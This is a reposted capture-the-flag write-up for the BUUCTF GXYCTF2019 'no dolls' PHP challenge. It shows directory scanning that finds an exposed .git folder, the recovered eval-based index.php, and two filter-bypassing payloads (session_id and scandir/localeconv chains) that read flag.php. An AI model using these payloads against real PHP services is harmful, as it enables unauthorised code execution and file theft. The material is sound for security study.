当前位置:网站首页>Buuctf Web [gxyctf2019] no dolls
Buuctf Web [gxyctf2019] no dolls
2022-04-23 12:33:00 【Y1Daa】
BUUCTF WEB [GXYCTF2019] No doll
-
There's no hint , Use dirsearch scanning
# Dirsearch started Fri Apr 22 02:23:09 2022 as: ./dirsearch.py -u http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/ --delay=0.5 -t 3 301 185B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git -> REDIRECTS TO: http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn/.git/ 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/ 200 267B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/COMMIT_EDITMSG 200 23B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/HEAD 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/branches/ 200 92B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/config 200 73B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/description 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/hooks/ ......Scan a lot about .git Path to folder , The suspicion is .git Let the cat out of the
-
Use scrabble scanning
./scrabble http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81 hint: Using 'master' as the name for the initial branch. This default branch name hint: is subject to change. To configure the initial branch name to use in all hint: of your new repositories, which will suppress this warning, call: hint: hint: git config --global init.defaultBranch <name> hint: hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and hint: 'development'. The just-created branch can be renamed via this command: hint: hint: git branch -m <name> Initialized empty Git repository in /root/Tools/scrabble/.git/ parseCommit e729e0b15f06da388b0e634afffd19b8e17b572a downloadBlob e729e0b15f06da388b0e634afffd19b8e17b572a parseTree 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 7169422bf0676b5369d25776f03961e158428c90 HEAD is now at e729e0b initScan it. index.php
<?php include "flag.php"; echo "flag Where is it ?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die(" It's a little bit close to !"); } } else{ die(" Think about it !"); } } else{ die(" Still want to read flag, Smelly brother !"); } } // highlight_file(__FILE__); ?> -
The first layer of filtration
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))Filtered some PHP Fake protocol
-
Second layer filtration
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))there
(?R)It refers to the current expression ,(?R)?Indicates that there can be zero or one reference , Can matchprint(echo(1))A string consisting of nested characters and parentheses
-
The third layer of filtration
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))Filtered some keywords
Method 1 session_id
?exp=highlight_file(session_id(session_start()));
Grab the bag at the same time Cookie Set in PHPSESSID
PHPSESSID=flag.php
Method 2 scandir()
exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current(localeconv()) Returns the ., And then use scandir() Function to scan the current folder
localeconv()The function returns an array containing local numbers and currency format information , The first element of this array is.
current()Function returns the value of the current element in the array , The initial pointer of each array points to the first element of the array
array_reverse() The function returns the array in reverse order
next() The function points the internal pointer to the next element in the array and outputs
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231227159509.html
边栏推荐
- The database navigator uses the default MySQL connection prompt: the server time zone value 'Ö Ð¹ ú±ê ×¼ ʱ ¼ ä’ is unrecognized or repres
- 智能多线弹性云增加独立的IP地址,如何实现多线功能?
- Qt一个进程运行另一个进程
- Lesson 24 analysis of classical problems
- Idea database navigator plug-in
- One way ANOVA of SPSS
- Xinwangda announced that the price of battery products had been increased, and the investment of "weixiaoli" exceeded 1 billion
- 在 VSCode 中调试 Jest 的测试用例,VSCode调试Jest测试用例报错basedir=$(dirname “$(echo “$0“ | sed -e ‘s,\\,/,g‘)“)解决
- Idea code formatting plug-in save actions
- 大家帮我看一下这是啥情况,MySQL5.5的。谢了
猜你喜欢

SQL exercise (I)

NativeForMySQL 连接MySQL8 提示:1251- Client does not support authentication protocol

Idea setting copyright information

How do traditional enterprises cope with digital transformation? These books give you the answer

AI 视频云 VS 窄带高清,谁是视频时代的宠儿

After a circle, I sorted out this set of interview questions..

box-sizing

Worder font page font comparison table

The maximum number of remote desktop servers has been exceeded

一个平面设计师的异想世界|ONES 人物
随机推荐
对称加密、证书加密
关于使用Go语言创建WebSocket服务浅谈
php生成json处理中文
如何防止网站被黑客入侵篡改
IDEA 数据库插件Database Navigator 插件
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
The database navigator uses the default MySQL connection prompt: the server time zone value 'Ö Ð¹ ú±ê ×¼ ʱ ¼ ä’ is unrecognized or repres
实现一个盒子在父盒子中水平垂直居中的几种“姿势”
MySQL函数-递归函数
硬核解析Promise对象(这七个必会的常用API和七个关键问题你都了解吗?)
同态加密技术学习
SPSS之单因素方差分析
一个平面设计师的异想世界|ONES 人物
Metalama简介4.使用Fabric操作项目或命名空间
软件测试基础DAY2-用例执行
消息队列概述
In idea Solution to the problem of garbled code in Chinese display of properties file
Flash project cross domain interception and DBM database learning [Baotou cultural and creative website development]
Uni app native app local packaging integrated Aurora push (jg-jpush) detailed tutorial
Qt进程间通信